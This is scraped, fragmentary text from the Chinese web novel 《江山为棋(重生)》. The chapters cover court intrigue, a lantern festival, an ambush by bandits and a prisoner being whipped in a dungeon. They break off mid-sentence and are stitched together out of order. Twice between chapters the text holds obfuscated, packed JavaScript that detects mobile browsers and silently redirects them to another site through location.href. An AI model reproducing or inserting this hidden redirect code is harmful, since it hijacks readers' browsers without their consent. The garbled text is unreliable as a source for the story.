秦熠比宁玉瑶仅大三岁,经常陪着宁玉瑶一起淘气,两人一同翻墙爬树,闯下不少“祸事”。秦熠身强体壮又没脸没皮,许多对于别人来说稍显困难或有辱斯文的事,他都可以轻易做到。 而宁玉瑶生气时会拿树枝抽打秦熠的习惯,也是秦熠纵出来的。幼时,秦熠经常惹哭宁玉瑶,秦熠怕宁玉瑶哭多了伤身子,便自己折了树枝递给她,让她生气了不要哭,打自己消消气。 毕竟就宁玉瑶那点力气,使多大劲都不能在秦熠身上留下半点印子,索性让她出出气。 因此,在年幼的宁玉瑶心中就有一种错误的认知,她以为所有少年郎都如秦熠一般,有一身好武艺可以毫无顾忌地为她表演,也会像秦熠一样,只要她看上的东西,无论它在树上、屋檐上还是湖里,都会立刻去帮她取来。还会像秦熠一般,在她生气时,让她随意抽打。 秦熠出征的那三年,起初嘉阳长公主见宁玉瑶一人在家无聊,会带她一同参加各家夫人们举办的宴会。 宴会上,宁玉瑶如往常使唤秦熠一般使唤在场公子小姐们,却不料他们觉得受到了侮辱,几次之后,明安郡主娇纵任性的名声便传了出去。 此后宁玉瑶明白了 21.提醒 《江山为棋(重生)》全本免费阅读 “见过宁世子,见过明安郡主,我家小姐有请,敢问郡主是否方便?” 宁玉瑶手中拎着哥哥替她猜灯谜赢来的金鼠闹春灯,正兴致勃勃准备去下一个摊位拿瑞兔呈祥灯时,听到有人隔着侍卫呼唤她。 宁玉瑶认出来人是沈瑜的贴身侍女,便问道:“你家小姐现在何处?” 侍女抬手示意:“回郡主,小姐就在雅翠阁楼上。” 宁玉瑶顺着侍女的指引抬头望去,沈瑜正在雅翠阁三楼窗前对她招手。 宁玉瑶笑着向好友挥挥手,随后转头看向自家兄长:“哥哥,我们也上去歇会儿吧?” 宁璟瑞并无不可,他今日的任务就是陪妹妹出来玩,她想去哪便去哪。 雅翠阁是雁京城北街上最大的一家茶楼,今日宾客如云,大堂内已座无虚席。 在侍女的引领下,宁玉瑶兄妹来到三楼。宁璟瑞见厢房中已有几位朝中大人家中的千金在座,便未进门打扰。 沈府侍卫见状,连忙开口:“宁世子,我家少爷并几位公子在隔壁厢房,若您不嫌弃,小的带您过去稍作休息。” 宁璟瑞心知今日雅翠阁的厢房早已预定一空,他不放心离妹妹太远,点头示意侍卫带路。 宁玉瑶一进厢房,几位小姐纷纷起身向她行礼。 宁玉瑶笑道:“今日出来玩,不必那么多虚礼。” “好啦,又不是不认识,这里没别人。”沈瑜打趣道,她在宁玉瑶面前最为轻松自在。 其他几位小姐闻言也笑着放松下来,她们与宁玉瑶虽不如沈瑜那般熟稔,但平日相处也还算愉快。 沈瑜拉住宁玉瑶的手走到窗边,“明安你从这边看,这里的景致是最好的。” 宁玉瑶顺着沈瑜的手往窗外望去,此处看花灯又与身处灯街内的感触截然不同,绚丽多彩的花灯绵延了数十里,与夜空中皎洁的月光交相辉映。 宁玉瑶遥望远处静静矗立的雁京北城墙,再低头看看花灯街,行人皆面带笑容手提花灯穿梭于灯海之中。 真美。 宁玉瑶脸上也扬起开心的笑容。 沈瑜见宁玉瑶高兴,得意地说:“如何?赏花灯就要到这雅翠阁来,这间厢房又是雅翠阁最佳的赏景地,每年都需提前月余才能预定到,今儿我们可都是沾了沁婕的光。” 沈瑜口中的沁婕姓王,是礼部尚书家的千金。 其他小姐揶揄道:“可不是,沁婕的未婚夫婿特地早早地预定了这间厢房,就盼着今日能与王家千金共度良辰美景,却不想被我们截胡了。” 王小姐羞红了脸,捉住声音最大的那位小姐,压在她身上挠她,嗔怒道:“好茶好点心都堵不住你的嘴。” 厢房内顿时笑闹声一片。 宁玉瑶好奇地问沈瑜:“王小姐说的是哪家人家?” 沈瑜知道宁玉瑶从不关心外面这些琐事,轻声在宁玉瑶耳边说:“李将军的次子,婚期定的四月初六。” 宁玉瑶一愣,蓦地想起前世雁京城破后,被挂在雁京城墙上的李家父子,家中男丁皆战死,女眷会有何下场,宁玉瑶不敢深想。 不过,这一世不一样了,从除夕雪崩之事没有发生之后,宁玉瑶知道,世事难料,或许人力真的可以扭转那些既定的命运。 宁玉瑶笑着对王沁婕说:“那我以茶代酒,祝王小姐万事胜意,平安顺遂。” 其余人虽有些奇怪宁玉瑶的祝辞为何不是祝贺新人,但思及宁玉瑶是她们之中年岁最小的,以为她只是不懂这些,便没有多言,只是顺着宁玉瑶的话一句一句地给王小姐祝福。 从心想事成到财源广进,后面的越来越不像话,最后连寿比南山都说了出来,又被王小姐一顿好打。 * 林鸿轩拎着一盏精致的兔儿花灯在熙熙攘攘的人流中艰难前行,心中满是不耐。他刚收到消息,长公主府的马车往灯会这边来了,但郡主具体要去哪儿,他却无从得知。 自从他们在长公主府和宁国公府安插的线人因贪腐被长公主处置之后,他便再也打探不到明安郡主行程。 林鸿轩心中憋闷,怎么安排了这么些个鼠目寸光的玩意儿,收了他这么多好处还要贪采买的那点蝇头小利,真是活该。 只是打探不到郡主的行踪,他不知如何才能制造巧遇,赢得郡主的芳心。 林鸿轩对明安郡主并非真心实意的倾慕,就冲着郡主赏他的两鞭子,他很不得离明安郡主远远的。 只可惜,明安郡主是大宸身份最尊贵的未婚女子,且深受大宸皇帝宠爱,就连两位公主都不敢与她争锋。 要想成就父亲的大业,他必须利用承武帝的偏爱和诚国公手中的兵权。 “林侍读。”思索间,林鸿轩身后传来一声带着羞怯的呼唤。 林鸿轩按下心中的厌烦,换上惯常的和煦笑容转过身来,“原来是赵小姐,失礼了。” 赵知妍看着林鸿轩俊朗面容上的温和笑容,心中忍不住泛起涟漪,林侍读果真是一表人才。 * 宁玉瑶笑着看屋内小姐们嬉戏,目光不经意间扫至楼下,脸色瞬间冷了下来。 宁玉瑶身边的沈瑜见她如此,顺着她的视线望去,却未发现异样,只得拉住宁玉瑶的手轻声问道:“玉瑶,怎么了?” 宁玉瑶捏捏沈瑜的手,没有回答,只是转头问王沁婕:“王小姐,我想邀请赵御史家的赵小姐过来,不知是否方便?” 屋内众人瞬间安静下来,面面相觑,皆是没想到明安郡主会邀请赵家小姐一起赏花灯。毕竟,谁不知道赵御史的脾气又臭又硬还十分迂腐,而明安郡主常年在外抛头露面,以此为由弹劾诚国公家教不严的折子就属赵御史写得最多。 虽然以她们对明安郡主的了解,郡主并不会因为赵御史为难赵小姐,但也不会特别亲近她。因此,郡主邀请赵小姐的用意就有些让人费解了。 不过既然郡主开口,自然不会驳了她的面子。 王沁婕笑着说:“郡主客气了,自然是可以的。” 宁玉瑶对身侧的青黛点头示意,青黛领命下楼。 沈瑜再次往灯街上看去,果然在离雅翠阁不远的地方看到了赵家小姐。 赵知妍正满脸娇羞地与一名男子交谈,那名男子背对着雅翠阁,沈瑜未看出来是何人。 其他小姐们吃着茶点好奇地看向门外,等候赵小姐的到来。她们虽然都很讨厌弹劾过自家父兄的赵御史,但对赵小姐的恶感 22.诛秦熠 《江山为棋(重生)》全本免费阅读 从雅翠阁出来的赵知妍失了逛灯会的兴致,怒气冲冲地带着侍女们返回赵府。 赵夫人听闻女儿提前回来,颇感诧异,灯会才刚刚开始,怎么回来得这么早。 “夫人,听闻小姐是被气回来的。”赵夫人的侍女轻声说道。 赵夫人听后更是纳罕,就自家闺女那跟她爹一样的臭脾气,还能被气着呢?不把别人气死都不错了。 她当即起身:“走,去小姐那瞧瞧。” 赵夫人刚走到女儿房间门前,就看到女儿满脸愠怒的模样,她笑着问:“是何人惹得我家闺女不高兴了?” 赵知妍见到自己的娘亲,怒容稍敛,但仍带着些许怨气,将方才雅翠阁之事告诉娘亲:“娘,您说郡主是不是对我爹心存怨念,故意说那些话想坏我姻缘?” 赵夫人听后,不解地望着自己女儿,“你怎么会这么想,就你那八字没一撇的姻缘,有什么可破坏的?况且,若真想坏你姻缘,郡主何必跟你费劲,直接派人去林探花那里说你的不是,岂不更直接?” 赵知妍不服气地问:“那郡主为何要跟我说林公子并非良配?林公子乃圣上钦点的探花,年轻有为,怎么就不堪良配了?” 赵夫人闻言若有所思,她想起之前曾有意招林探花为婿的那些人家,去年年末却突然间纷纷另结良缘,这其中必有隐情。 她当机立断,对自己女儿说:“你爹本就不看好这个林鸿轩,此事就此作罢。你年纪还小,不急着嫁人,待到明年殿试之时,再挑一位合适的青年才俊。” 赵知妍小声嘀咕:“我爹看好过谁?他可是连……都敢斥责的人。” 赵夫人默然,自家老爷确实直言不讳,就连圣上都被他“劝谏”过,幸好圣上宽宏大量不跟他计较,不然几条命都不够他死的,指不定还会搭上全家。 不过老爷言辞激烈地“劝谏”圣上后,被他弹劾的大臣们也不敢再在明面上刁难老爷,毕竟圣上都不计较,他们也只好捏着鼻子认了。 赵夫人知道女儿正在气头上,听不进去劝,便不再多言,想着等她过两天冷静下来,说不定就能想通了。 若实在想不通,那就关起来继续想,还能翻了天不成。 * 随着花灯节的结束,宁玉瑶也将赵小姐的事抛诸脑后,横竖她已劝过了,若赵小姐钻了牛角尖非要跳进去,她也拦不住。 宁玉瑶这些日子也十分忙碌,皇后几乎隔几日就遣白珊来请宁玉瑶入宫,每次出宫,宁玉瑶都会带着许多赏赐。 皇后总说皇上励精图治,多年未曾纳妃,宫里这些老人也不爱用花里胡哨的东西。这些进贡上来的时新鲜亮的玩意儿,正适合宁玉瑶这般年纪的小姑娘, 若碰上贤妃等妃嫔们在场,也会笑着打趣皇后,可真是什么好东西都只想着明安郡主。 皇后与这些妃嫔们一同历经生死,这些年相处得十分融洽,她笑着点了点贤妃:“就你促狭,本宫可不曾偏心,这些玩意儿本宫都分了三份,两位公主自然不会落下。” “娘娘这话说的,好似臣妾是替女儿讨赏来了,既然如此,臣妾就替澜儿谢过母后了。”贤妃起身装模作样地给皇后行了个大礼。 皇后的赏赐几乎同时送到了大公主和二公主处。 已经回到自己宫中的贤妃挥退宫人,握着女儿的手轻声说道:“澜儿,母妃希望你记住,不论陛下和娘娘赏赐你什么,都不要与明安郡主攀比。” 祁夕澜柔顺地点点头:“母妃放心,女儿懂的。” 在皇城中,父皇先是君,然后才是自己的父亲。 贤妃轻柔地抚摸着女儿的脸庞:“皇后娘娘已是十分仁慈,她恩准母妃将你带在身边抚养,四季份例赏赐也从不苛刻。但凡明安郡主有的,也会送一份来你这里,母妃别无所求,只待过两年,母妃再去求娘娘给你掌掌眼寻个好驸马,一辈子就这样平安顺遂也算不错。” 祁夕澜明白母妃的意思,母妃嫁入皇家之初,先帝尚在,因先帝偏宠六皇子,对其他子女漠不关心。 先帝的公主虽贵为金枝玉叶,生活却远不如小官之女,莫说份例,就连吃食都需自己想法子,在这偌大的皇城中,竟每年都有公主被活活饿死。 自己的父皇母后虽然宠爱明安郡主,但除太子之外,父皇母后对其他所有子女都一视同仁,就连皇后自己所生的次子五皇子都越不过明安郡主,她又有何可争的。 祁夕澜笑容温婉:“母妃,女儿都省得,女儿现在过的日子已十分顺心,不会给自己添麻烦的。” 贤妃对自己的女儿还是放心的,她侧身对自己的心腹大宫女吩咐道:“你去好好敲打敲打公主和四皇子身边伺候的人,别让他们在主子面前搬弄是非,要是不想好好过日子,那就早些了断了。” “殿下,您瞧瞧这都是些什么破烂玩意,”宣赏太监离开后,二公主祁夕滢身边的宫女月榕,一脸愤恨地拿起漆盘中的赏赐,对祁夕滢说道,“每次给明安郡主的都是最好的,给您的都是明安郡主挑剩下的。” 祁夕滢的奶嬷嬷也愤愤不平地说:“皇后娘娘怕是糊涂了,明明殿下您才是陛下的亲生骨肉,娘娘竟然对一个外姓人如此偏爱!” 宫女月榕附和道:“就是,殿下还被皇后娘娘抱在身边养育了近十年,您的身份不必那劳什子郡主尊贵?” 她们就这样你我一言一语地为二公主鸣不平,每一句话都如同针刺般扎在祁夕滢的心上,祁夕滢的脸色越来越看。 “够了!”祁夕滢猛然掀翻装着赏赐的漆盘,将漆盘中的玉雕摆件砸了个粉碎。 她冷笑:“我算什么公主?周氏自己生不出孩子,便害死我的生母,惺惺作态地将我养在身边,等到自己怀孕就嫌我碍眼,将我一脚踢开!而父皇却对此视若无睹,任由周氏搓磨我!” 祁夕滢越说越觉得委屈,趴在桌上痛哭出声:“为何我没有母妃,若我也有母妃,何至于如此受辱!” 奶嬷嬷和月榕对视一眼,连忙上前劝道:“殿下,您万万不可为了他人伤着自己,看您这般委屈,奴婢们心里可比死了还难受。” 祁夕滢扑到奶嬷嬷怀中,抽泣着说:“嬷嬷,整个宫中,唯有你对我是真心实意的。” 奶嬷嬷嘴角勾起一抹微笑,轻声说:“那是自然,您可是老奴亲手喂大的,老奴自然是掏心窝子地对您。” 月榕等祁夕滢情绪渐渐平静,适时地提醒:“殿下,糕点已经蒸好了,听闻陛下现下也在德清宫,您是否过去?” 祁夕滢擦去脸上的泪痕,轻笑:“快给本宫梳妆,本宫该去给父皇母后献孝心了。” * 承武帝没让太监通传,径直走进德清宫正殿,看见自家小儿子被宁玉瑶按在地上。宁玉瑶手中握着毛笔,沾了墨汁在他小儿子脸上作画,皇后则坐在高位上,笑盈盈地看着他们胡闹。 祁晖琅的身体被宁玉瑶压着,四肢在地上胡乱扑腾,嘴里大喊:“阿姐,阿姐,我知道错了!” 承武帝轻咳一声,带着笑意询问:“小五又招惹你阿姐了?” 宁玉瑶回头见是承武帝,连忙将手中的毛笔递给身边的宫女,拉起五皇子给承武帝请安。 承武帝这才看清,小儿子额头上写了个“王”字,脸颊两侧各有三条横线,不禁笑道:“这是哪来的老 23.山匪 《江山为棋(重生)》全本免费阅读 雁京城南门,守城的兵士远远便望见数匹骏马疾驰而来,后面拖拽着一群被绑缚的人,全然不顾这群人的死活。 守城兵士皱着眉头,“这是发生何事?” 浑身是血的秦熠策马停在城门口,他解下腰牌扔给守城兵士,指着身后被拖行的人,命令道:“将这些人押送至大理寺,余兴县外有山匪作乱,这里一共十八人,少一个本官唯尔等是问。” 城门校尉大骇,连忙应下:“秦都司放心,下官定一个不少地将人送去大理寺!” 秦熠点头,转身对随行的侍卫说:“去皇城递折子。” 侍卫迅速驱马向皇城方向疾驰而去,秦熠则带着剩下的人回秦府更换衣物。若皇上召见,可不能穿着这满是血污的衣服去惊扰圣驾。 秦熠走后,兵士们面面相觑,朗朗乾坤竟有山匪肝胆袭击朝廷命官,还挑上了骁勇善战的秦都司,这真是嫌自己命太长啊。 城门校尉咋舌,心道神武营那事还没解决呢,这才多久又冒出一群山匪,不知又是哪个倒霉蛋要栽了。不过这些都与他无关,校尉立刻安排人手将这群狼狈不堪的山匪送往大理寺,这些人本就跟串血葫芦一般,万一晚到片刻,咽气了一两个,那可真是说不清了。 秦夫人早已得知消息,在家中安排好一切等着。秦熠一进门,她便看到浑身是血的儿子,瞬间红了眼眶。 秦熠笑着宽慰母亲:“娘,别担心,都是那群山匪的血,儿子没事。” 秦夫人抹了抹眼泪,怎么可能没事,她分明看到儿子胳膊上一道血口子,但她没有多说什么,只是吩咐下人赶紧为儿子换下血衣:“快去清理干净,你爹已经先进宫了,你收拾好后也立即进宫面圣。” 秦熠没再多言,进屋后将怀中的小盒子放到桌上,随后开始清洗身上的血迹。小厮端来伤药,秦熠便明白母亲已经看出他身上有伤。他叹息一声,让小厮替自己上药。 其实秦熠也不算哄骗母亲,他身上只有右胳膊和左侧大腿上各有一道伤口,且他皮硬,虽不至于铜皮铁骨、刀枪不入,但想伤他也不容易。因此他的伤口并不深,身上的血也确实大多是山匪的。这点小伤,在定州打北穆时他甚至不会用药,过几日便会自愈。 不过秦熠也没有拒绝母亲的好意,他迅速上药换好衣服,向皇城赶去。 * 祁夕滢刚走进德清宫,便见宁玉瑶娇俏地依偎在帝后身侧,她心中冷笑,心想这般亲昵的模样,不知道的还以为宁玉瑶才是这大宸朝的公主呢。 祁夕滢低下头,掩去心中情绪,向承武帝和皇后请安后,从宫女手中接过食盒,乖巧地说:“父皇,母后,儿臣特做了些糕点,想给父皇母后尝尝。” 承武帝望着女儿满是孺慕的眼神,笑着拿起一块糕点:“夕滢真是有心了,让父皇好好尝尝你的手艺。” 他尝了一口,意外地发现味道还不错,糕点清甜软糯,带着一股特殊的清香,以前从未尝过这种味道,不由得有些好奇,正准备再咬一口时,苏德茂走了进来。 苏德茂快速但不显慌乱地走到承武帝身边,轻声禀报:“陛下,秦柏将军和秦熠都司有要事求见。” 承武帝皱眉,放下手中的糕点,“可知何事?” 苏德茂回道:“秦都司今日遇袭。” 皇后听闻此言,抬头看向承武帝,承武帝用眼神安抚皇后,起身说道:“宣秦卿父子觐见。” 承武帝转头对皇后说:“朕先去看看。” 皇后点头,轻轻搂着听到秦熠遇袭后就神色不安的宁玉瑶。若此次秦熠遇袭真是北穆人的报复,那必定要按死了瑶儿与清云山之事无关,否则,养在深闺中的瑶儿怎是那群豺狼的对手。 一旁的祁夕滢冷眼看着她们,心中不禁冷笑,真是好一副母女情深的场景。 * 承武帝来时已得知秦熠身上有伤,赐坐后说道:“秦熠,你将此事原原本本地道来。” “谢陛下。”秦柏、秦熠谢恩后,坐在椅子上。 此事要从除夕夜说起。 秦熠明白自己对宁玉瑶的心意后,只要得空,就会亲自去雁京城的金珠铺寻珠宝首饰。只是,秦熠总觉得款式普通或宝石不够剔透,一直没能选中满意的首饰。 秦熠的挑剔劲儿险些被各大金珠店当成找茬的给打出来,无奈之下,他只得另外想法子,开始寻摸好料子,再去找人打首饰。 前几日,雁京城最大的金珠铺妙华阁新到了一批料子,邀秦熠去挑选,可惜依旧没有合他心意的。 恰在此时,妙华阁内有人谈论起雁京城往南的余兴县有一富商,此人专做海外生意,手上有不少海外的宝石料子。其中最为夺目的便是一颗红宝石原料,未经打磨也能看出其颜色纯正,色泽鲜艳,是一颗顶级的鸽血红宝石。 秦熠听后心动不已,遂派人去打听。 秦府下人从余兴县回来证实确有此事,但秦府下人皆是从北定军退下的军士,对地形地貌异常敏锐,即便从雁京到余兴往返时只是匆匆一瞥,也能寻出几处适合埋伏的好地方。 秦府心腹之人皆知北穆在雁京的探子尚未查出,恐怕这次也是特地为秦熠设下的陷阱。 秦夫人劝道:“如今形势不明,既然明知是陷阱,何必非要往里头跳?” 秦柏和秦熠却认为,既然已经知道他们的计谋,何不将计就计,来一招引蛇出洞。否则光靠京翼卫和京锐营慢慢排查,不知要何年何月才能揪出这些人,而留这群人在雁京城周围终究是隐患。 秦夫人知道他们言之有理,便不再劝,只是叹了口气,叮嘱秦熠:“千万不可仗着自己艺高人胆大,掉以轻心。” 秦熠自信满满地保证:“娘,您就放心吧!” 余兴县位于京都城南面偏东的位置,从雁京城到余兴县,快马疾驰片刻不歇都需五个时辰。 余兴县再往东走两个时辰便是港口,故此,方便余兴县的富商出海做海外生意。 昨日一早,秦熠便出了雁京城,向东南方向行去。为防止打草惊蛇,秦熠没带太多人,明面上只带了四名侍卫,实际还有四位军士暗中策应。若非京都城与余兴县往来行人车稀少,秦夫人真想再多派些人跟随。 去余兴县的一路很顺利,他们抵达余兴县时已是下午。 余兴县富商手中的鸽子红宝石也确如传言一般璀璨夺目,富商原本不愿出手这颗极品宝石,秦熠软磨硬泡了许久,富商才愿意高价出售。 购得宝石后天色已晚,一行人便在余兴县的官驿中休息了一宿。 第二天清晨,秦熠等人趁着天色未亮便启程回京。 秦熠一行人回京的前半程风平浪静,那伙人约莫是想要等秦熠放松警惕,但他们却不知道,秦熠在定州驻守三年,与北穆交战上百次无一败绩,靠的可不光是他那一身蛮力和铜皮铁骨。 越是靠近雁京城,秦熠心中的警惕越重。当距离雁京城仅剩两个时辰路程时,果然发现了异样。 当他率领侍卫经过一处矮坡林时,他轻易地根据枯草倒伏又被扶正的方向判断出此地埋伏的人数。 秦熠对身后的侍卫使了个眼色,他们的手都紧握着剑柄,看似漫不经心地踏入埋伏圈。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12909271|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢造次。” 二公主之事成埃落定已到四月初,这半个月以来,雁京城内人心惶惶。 京翼卫与羽林军每日穿梭于城中,缉拿嫌犯,无论官职大小,只要圣上有旨,一律羁押。 雁京府衙、大理寺及刑部牢房均人满为患,官员们足不出户,生怕被无端牵连,现在即便是寻常的敲门声,也能让他们抖三抖。 “主子,我们的人已损失大半。” 雁京城西茶楼的密室中,几名黑衣人战战兢兢地向坐在上首的主子禀报损失的人手。 上首带着银制面具的男人闭上双眼,深深地吸了口气。 上次栖霞宫被围后,他立即命人去城西通知撤离,没想到还是去晚了一步。不仅是花匠,就连与花坊偶有来往的人也都被顺藤摸瓜一一抓捕。 至今都没打探出他们的确切关押之地,就算想要想要清除后患都无从谈起。 半晌,他睁开满是怒火的眼睛,断然下令:“将事情全都推到林鸿轩身上,其余人等蛰伏起来,没有命令,不得露面。” “遵命!” * 四月初六,宜嫁娶。 明日便是王家千金王沁婕与李家二公子喜结连理的好日子。 今日一大早,宁玉瑶便被沈瑜拉来了王尚书府,为王小姐添妆。 宁玉瑶刚一进门就受到了王夫人的热情款待,概因皇后娘娘今日派人送了赏赐作为王沁婕的添妆,不仅称赞沁婕“秀外慧中,蕙质兰心”,还顺道夸赞了王夫人教女有方。 不光王尚书府,李将军府前些日子也得了圣上的赏赐,李二李晏修还被圣上召见考教了一番,好好地露了一回脸。 王尚书与李将军心知肚明,这一切皆因明安郡主之功。是郡主慧眼识珠,发现春玉娅的疑点,进而揭露了祁夕滢毒害皇后的阴谋。 然而,圣上与娘娘对此事只字未提,两位大人也心领神会,一同将明安郡主在此事中的存在给隐了去。 两府皆因郡主受益良多,自然对她感激不尽。 王夫人身边的侍女接过宁玉瑶精心准备的添妆礼,一副做工精巧的头面,金丝掐成繁复的花型,缠绕着几颗璀璨夺目的东珠,一看便知是内务府精心打造而成,在场众人无不为之赞叹。 王夫人笑意更深,王家女眷们的好话也似不要钱一般,一箩筐一箩筐地往外搬。莫说今日明安郡主添的妆本就给足了沁婕脸面,就算郡主随便从路边摘朵花来,她们也能夸得天上有地下无。 王夫人笑意盈盈地等众人欣赏完郡主的添妆,才命人将头面妥当地收在嫁妆箱子中,她打断家中妯娌们的恭维:“让郡主和沁婕去花园里玩吧,咱们这些老骨头就别总围着小姑娘们了。” 少女们逃一般跑到了花园中,刑部侍郎家的千金拍拍胸口,一脸庆幸地说:“总算出来了,今儿夫人们可真热情。” 沈瑜瞥了一眼宁玉瑶,笑着接话:“我们沁婕嫁了个如意郎君,夫人们高兴也在所难免。” 这些日子的事,宁玉瑶虽未与沈瑜明说,但沈瑜向来聪明,从宁玉瑶字里行间透露出的消息就能猜出一二,她和王沁婕相视一笑,都没有说破。 王沁婕更不可能表现出异常,前些天李二还特地送信来告诉她,郡主将当初借用的花匠送还给了李将军府,但话里话外都是让李府善待花匠。 李府原本担心陛下迁怒,便想将花匠处置掉。尽管自家没掺和其中,但瓜田李下,难免说不清楚。但听了明安郡主的话,只得将花匠送去庄子里养着。 宁玉瑶感激李府花匠培育出春玉娅,误打误撞揭露了祁夕滢的阴谋。便让人送花匠回李府的时候多说了一嘴,她也不会想到这句话救了花匠一命。 33.地牢 林鸿轩满身血痕、表情木然地躺在昏暗逼仄的地牢中,他也不知事情怎会发展至此。 数日前,他本在成衣铺中挑选夏装,不料秦熠突然闯入,不由分说便对他大打出手,还故意砸碎铺中的玉石摆件,嫁祸于他。 成衣铺老板报官后,二人随即被押送至雁京府衙。却没想到秦熠竟当着他的面大摇大摆地被狱卒送出大牢,而他则被蒙上眼睛转移到另一处地牢中。 这里暗无天日,连一丝光线也透不进来。 想起秦熠临走时看他那轻蔑的眼神,林鸿轩满心愤恨,自己当初就不该手下留情,应拼尽全力诛杀秦熠。 林鸿轩已记不清自己被囚禁了多久,只知道自入狱以来,既未受审,也未被定罪,便直接遭受了拷打。 起初,他还会怒斥那些狱卒无端关押朝廷命官,但换来的只是更重的鞭笞。他不得不屈服,满心屈辱地默默承受。 牢房外的走廊中响起了沉重的脚步声,伴随着火光,停在了林鸿轩的牢门前。牢门打开的声音传来,林鸿轩一动未动,任由狱卒将他拖了出去。 林鸿轩被拖行了许久,骤然来到一处明亮的地方,火光刺得他眼睛生疼,不得不紧闭双眼。他听到火把不时发出的“噼啪”声,鼻尖还有松脂燃烧时特有的气味。 随后,林鸿轩感到自己被牢牢地地绑在了刑架上。他苦中作乐地想,不知道今天又有什么花样等着自己。却没想到等了许久,久到他被绑住的地方渐渐失去了知觉,刑具也一直没有落下。 “国公爷,您慢些,地牢污秽,小心别脏了您的鞋。”远处传来牢头谄媚的声音。 国公?林鸿轩睁开眼睛,侧头望向说话声音传来的方向。 只见狱卒们拥着一名削瘦的中年男子走进刑讯室,正是那威名赫赫的诚国公宁渊。 狱卒恭敬地将宁渊引至事先准备好的椅子旁,待宁渊坐下后,又殷勤地奉上茶水。 林鸿轩看着宛如在自己家中一般惬意的宁渊,不由冷笑一声:“敢问诚国公,下官所犯何罪,竟要遭受如此严刑拷打?下官虽官职低微,却也是朝廷命官,国公爷是否应给下官一个合理的解释?” 宁渊端起茶盏轻抿了一口,抬眸看向林鸿轩,嘴角勾起一抹玩味的笑容:“解释?是翰林院林侍读,还是北穆人努尔勒在向本国公要解释。” 林鸿轩呼吸一滞,强自镇定地扯了扯嘴角:“国公爷说笑了,下官乃是大宸子民,怎会与北穆有任何瓜葛?” 宁渊听到林鸿轩的回答,并未感到意外,他无意继续与林鸿轩周旋,直接切入正题:“雁京城西的花坊你知道多少?” 花坊?林鸿轩有些疑惑,什么花坊?这跟他有什么关系? 他确实是这样想的,也直接问了出来。 “城西花坊的管事,正是给你递消息的文德斋店小二,你当真一无所知?”宁渊紧盯着林鸿轩,不放过他脸上的任何细微变化。 林鸿轩死死地咬了一下后槽牙,坚持说道:“下官确曾在文德斋购书及文房用品,但与那店小二并无深交。他经营的花坊与下官有何相干?更别提传递消息这等事了,下官一向光明磊落,怎会需要一些见不得人的消息?” 宁渊不耐烦再跟林鸿轩兜圈子,他抬手点了点林鸿轩,身边的侍卫立即会意,拿起刑具架上的鞭子,蘸了蘸盐水,狠狠地向林鸿轩抽去。 皮鞭划破空气的呼啸声与鞭打在身体上的闷响声,在狭小的刑讯室回响。林鸿轩硬挨了十余鞭后,气息奄奄地低语:“诚国公……您这是要屈打成招吗?” 宁渊在刑讯室欣赏了一番林鸿轩的惨状,才缓步走出大理寺地牢。 据他观察,林鸿轩对城西花坊之事确不知情,且从之前的调查来看,林鸿轩在这方势力中的地位并不高。 不过宁渊也不在意,他此番前来,本就没想从林鸿轩口中问出什么信息,仅仅只是想来教训教训林鸿轩,他千不该万不该,不该对瑶儿动了心思。 思及瑶儿那个被林鸿轩万箭穿心的梦,宁渊冷哼一声,区区几鞭,还是便宜了他,日后有机会,定要将这万箭穿心的苦楚还给他。 大理寺卿姜啸恒送宁渊到大理寺门口,两人站在门前略交谈了几句。 “爹!姜伯伯!” 宁渊和姜啸恒一同转头望去,宁玉瑶骑着一匹雪白的骏马小跑着过来。 这匹白马是是前几日宜州马场进贡的良驹,承武帝一见便知瑶儿会喜欢,当即就让人送到了长公主府。 宁玉瑶得了新坐骑果然开心了好些天,给它取名为“霁月”,每日都要骑着它出去溜几圈。 “瑶儿怎么到这边来了?”宁渊笑着迎上去,扶着女儿下马。 宁玉瑶喜气洋洋地说:“女儿是来报喜的!爹,姜伯伯,嫂子生了!娘说是一个健壮的小子。” 姜啸恒闻言赶紧上来道贺,宁渊也是一脸喜色地道:“同喜同喜!” 可不就是同喜,宁姜两家结为姻亲,诚国公府喜添金孙,也意味着姜啸恒得了个外孙,两位家主在大理寺门口笑得开怀。 宁渊高兴过后,问宁玉瑶:“怎么是你来报喜?你哥哥呢?” “哥哥去姜府报喜了,路上我看到哥哥接了姜伯母去府上,”宁玉瑶拉着宁渊的袖子摇了摇,撒娇道,“爹,听说报喜的人有喜钱,我也要喜钱。” 宁渊拍拍宁玉瑶的脑袋,“出门忘带银子了?” 宁玉瑶缩了缩脖子,笑嘻嘻地看着父亲,“娘说府里乱糟糟的,让女儿带着娴儿和博儿一边玩去。” 她出门匆忙,还把青黛和青筱忘在了家里,出来才发现自己身无分文。 宁渊和姜啸恒这才看到,不远处几名护卫环绕着一辆马车慢慢走了过来,停在宁玉瑶身后。 马车刚停稳,车窗上就探出两个小脑袋,兴高采烈地喊着:“祖父!外祖父!” 姜啸恒“哎哎”地连声应道,赶紧上前摸了摸许久未见的小外孙的小脑袋。 宁渊笑着回应后,转头无奈地看着女儿。他相信妻子的本意肯定是让瑶儿带着两个孩子回自己院里待着,没想到瑶儿直接把孩子们带出来了。 不过他们几个孩子留在府里也确实没什么用,大喜的日子,大家都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915847|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高高兴兴的,他也不想扫了大家的兴。 